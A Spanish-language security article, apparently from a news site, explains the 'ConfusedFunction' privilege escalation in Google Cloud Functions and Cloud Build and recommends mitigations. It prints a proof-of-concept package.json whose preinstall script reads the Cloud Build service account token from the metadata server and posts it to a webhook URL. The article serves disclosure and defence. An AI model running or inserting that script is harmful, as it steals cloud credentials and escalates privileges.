La vulnerabilidad «ConfusedFunction» descubierta por Tenable Research expone una debilidad crítica en la gestión de permisos de Google Cloud Platform (GCP), particularmente en los servicios de Cloud Functions y Cloud Build.
Esta vulnerabilidad permite la escalada de privilegios a través de la cuenta de servicio predeterminada de Cloud Build, lo que puede comprometer la seguridad de toda la infraestructura en la nube de una organización.
Detalles Técnicos de la Vulnerabilidad
Proceso de Despliegue de Cloud Functions
- Creación de Funciones: Cuando un usuario crea o actualiza una Cloud Function en GCP, se desencadena un proceso de despliegue automatizado. Este proceso involucra varios servicios de GCP, incluyendo Cloud Storage, Artifact Registry y Cloud Build.
- Rol de Cloud Build: Cloud Build se utiliza para orquestar el proceso de despliegue de la función. Esto incluye la compilación del código fuente de la función en una imagen de contenedor y su almacenamiento en un registro de contenedores (Artifact Registry o Container Registry).
- Asignación de Permisos: Durante este proceso, GCP automáticamente adjunta una cuenta de servicio predeterminada de Cloud Build a la instancia de Cloud Build. Esta cuenta de servicio tiene permisos extendidos, lo que permite realizar acciones privilegiadas necesarias para la construcción y despliegue de la función.
Vector de Ataque
- Inyección de Dependencias Maliciosas: Un atacante con permisos para crear o actualizar Cloud Functions puede inyectar una dependencia maliciosa en el archivo
package.json
o en el equivalente para otros entornos de tiempo de ejecución, comorequirements.txt
para Python. - Ejecución de Código Malicioso: Durante el proceso de construcción, Cloud Build ejecuta comandos de instalación de dependencias, incluyendo scripts preinstalación. Si un atacante incluye un script malicioso, este se ejecutará con los permisos de la cuenta de servicio predeterminada de Cloud Build.
- Extracción de Tokens: El script malicioso puede incluir comandos para extraer el token de acceso de la cuenta de servicio desde el metadata server de Google. Este token puede ser utilizado para realizar acciones con los permisos de la cuenta de servicio predeterminada, que pueden incluir acceso a otros servicios de GCP como Cloud Storage o IAM.
Ejemplo de Inyección de Dependencias
Un ejemplo de un package.json
malicioso podría verse así:
{
"name": "mypocmaliciouspackage",
"version": "1.0.0",
"description": "poc",
"main": "index.js",
"scripts": {
"preinstall": "access_token=$(curl -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token');curl -X POST -d $access_token https://webhook.site/your-webhook-url"
},
"dependencies": {
"@google-cloud/functions-framework": "^1.0.0"
}
}
Este script de preinstalación obtiene el token de acceso de la cuenta de servicio y lo envía a un servidor controlado por el atacante.
![Vulnerabilidad Confusedfunction En Google Cloud Platform: Análisis Técnico Y Medidas De Mitigación Token De Cuenta De Servicio De Compilación En La Nube](https://cibernota.com/wp-content/uploads/2024/07/image-5.png)
Impacto y Riesgos
La explotación de esta vulnerabilidad permite a los atacantes escalar sus privilegios desde un nivel de permisos limitados (como los permisos de funciones en Cloud Functions) hasta los permisos extensos de la cuenta de servicio predeterminada de Cloud Build.
![Vulnerabilidad Confusedfunction En Google Cloud Platform: Análisis Técnico Y Medidas De Mitigación Escalada De Privilegios Debido A Confunsedfunction](https://cibernota.com/wp-content/uploads/2024/07/image-6.png)
Esto podría incluir el acceso a datos sensibles, la manipulación de configuraciones de seguridad y la ejecución de código malicioso en otros servicios de GCP.
Medidas de Mitigación
- Uso de Cuentas de Servicio Personalizadas: GCP ha introducido la capacidad de utilizar cuentas de servicio personalizadas para Cloud Build en el proceso de despliegue de funciones. Se recomienda encarecidamente usar cuentas de servicio con los permisos mínimos necesarios para evitar el uso de la cuenta de servicio predeterminada.
- Revisión de Permisos: Las organizaciones deben revisar y restringir los permisos de las cuentas de servicio predeterminadas existentes. También deben asegurarse de que las políticas de IAM estén configuradas para minimizar el acceso a los recursos críticos.
- Monitoreo y Detección: Implementar soluciones de monitoreo para detectar actividades sospechosas, como la creación o actualización inesperada de Cloud Functions, y la ejecución de comandos no autorizados durante el despliegue.
- Actualización de Políticas de Seguridad: Asegurar que las políticas de seguridad de la organización estén actualizadas y que incluyan directrices para la gestión de cuentas de servicio y permisos en la nube.
La vulnerabilidad ConfusedFunction subraya la importancia de una gestión cuidadosa de los permisos y la implementación de políticas de seguridad robustas en entornos de nube.
Aunque GCP ha implementado medidas para mitigar este problema, es crucial que las organizaciones revisen y ajusten sus configuraciones para proteger sus recursos y datos sensibles.